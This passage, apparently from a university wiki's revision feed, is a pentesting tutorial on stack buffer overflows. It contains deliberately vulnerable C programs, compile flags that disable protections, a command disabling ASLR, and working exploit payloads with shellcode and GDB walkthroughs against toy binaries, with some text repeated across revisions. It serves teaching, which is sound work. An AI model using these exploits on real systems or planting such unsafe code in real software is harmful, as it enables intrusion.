The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
=== Example 3: Control Flow Alteration by Stack Overflow Exploitation ===&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17000</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17000"/>
		<updated>2024-12-11T18:02:07Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Courses */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection was used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
=== Example 3 ===&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
